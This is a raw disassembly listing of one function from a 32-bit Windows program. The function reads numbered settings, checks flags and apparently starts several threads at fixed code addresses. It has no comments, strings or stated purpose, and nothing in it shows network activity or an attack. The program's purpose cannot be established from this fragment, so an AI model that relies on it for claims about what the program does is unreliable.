call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov eax, dword [ebp + 0x10]
push ebx
push ebx
push eax
push 0x1eff25
setne cl
push ebx
push ebx
mov byte [eax + 1], cl
call edi
push 0x16
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0x1e96f5
push 2
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 0x10], eax
push 0x35
mov ecx, esi
mov byte [eax], 1
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov eax, dword [ebp + 0x10]
push ebx
push ebx
push eax
push 0x1eff25
setne cl
push ebx
push ebx
mov byte [eax + 1], cl
call edi
push 0x23
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0x1e9765
push 0x26
mov ecx, esi
mov byte [0x1fa22a], 1
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x25
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.001f2f89
add esp, 0xc
mov ecx, 0x1fa1e8
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push ebx
push ebx
push ebx
push 0x1e1519
push ebx
push ebx
call edi
push 0x2b
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0x1e97b3
push 0x2d
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push eax
push 0x2c
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
setne al
push eax
call fcn.001e7924
pop ecx
pop ecx
lea eax, [ebp - 0x38]
push eax
call fcn.001f1b25
pop ecx
push eax
mov ecx, 0x1facd0
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
mov eax, dword [0x1faca8]
cmp eax, ebx
je 0x1e97de
push ebx
call eax
push ebx
push ebx
push ebx
push 0x1e9cf7
push ebx
push ebx
call edi
cmp byte [0x1fad5c], bl
je 0x1e97fe
push ebx
push ebx
push ebx
push fcn.001ea582
push ebx
push ebx
call edi
cmp byte [0x1fad40], bl
je 0x1e9812
push ebx
push ebx
push ebx
push 0x1eaabd
push ebx
push ebx
call edi
call fcn.001ec695
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 0x10